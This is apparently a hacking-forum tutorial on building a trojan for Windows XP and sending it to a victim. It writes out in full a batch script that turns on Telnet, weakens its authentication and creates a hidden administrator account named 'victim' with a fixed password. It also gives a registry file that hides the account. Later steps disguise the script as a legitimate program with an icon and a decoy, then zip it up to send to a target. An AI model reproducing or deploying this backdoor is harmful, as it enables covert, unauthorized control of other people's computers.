How to create a FUD Telnet Trojan (XP)

How to create a FUD Telnet Trojan (XP)

Yesterday, 10:01 PM Post: #1

R16H713  Telnet Access Posts: 12 Joined: Feb 2010 Reputation: 0

Hello HF, Here is a tutorial on how to make a FUD Telnet trojan for XP. ( Haven't tried on other os's yet.) First of all we will open up notepad: Then we will type the following code: echo off sc config TlntSvr start= auto sc start TlntSvr tlntadmn config sec=-NTLM tlntadmn config mode=stream net user victim /add net user victim victimpwd123 net localgroup administrators victim /add exit Save this as example.bat (or whatever) with all files selected. This simply opens the new account's telnet port up and then tells the computer to name the new user: victim and escalate the privileges to administrator while setting the password to victimpwd123. To access the account, open up a command prompt and type: cd C:\ (to get to your C drive.) Now type telnet (victimipaddress) and hit {enter} C:\> victimpip [enter] ACCESS! But wait, there's more... To hide this new account you are going to have to execute a .reg file as well. Type this into notepad: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList] "victim"=dword:00000000 Save as hide.reg (with all files selected.) [victim corresponds to the name of the new user account.) To execute these together you will need to add a line to this code: echo off sc config TlntSvr start= auto sc start TlntSvr tlntadmn config sec=-NTLM tlntadmn config mode=stream net user victim /add net user victim victimpwd123 net localgroup administrators victim /add start hide.reg exit (Note: To make it less obvious that this is not legitimate you could add a line after start hide.reg that starts up notepad or paint or something similar.) Bundle it up! 1.) Ok, now we will package these up in a nice bundle to send to someone. 2.) First we will need a .bat to .exe converter. Here is one- (http://download.cnet.com/Bat-To-Exe-Conv...5897.html) 3.) Now, you should have the .bat file and .reg files in the same folder. Fire up the Batch Converter. 4.) Select the batch file you wish to convert and it will show you the output destination. 5.) Click on the versioninformations tab and in the icon file bar browse for an icon and choose it. (Here is a nice site for icons-http://www.iconarchive.com) 6.) Now click compile and your batch file has been converted and looks like a legitimate piece of software. But the .reg file still looks a bit suspicious. 7.) Right click the hide.reg file and select properties. Now select hidden towards the bottom and hit ok. Now it won't show up. Hurray! 8.) Zip this up and send it to someone and you will gain access to their computer. (Good Zip file manager- http://www.7-zip.org/)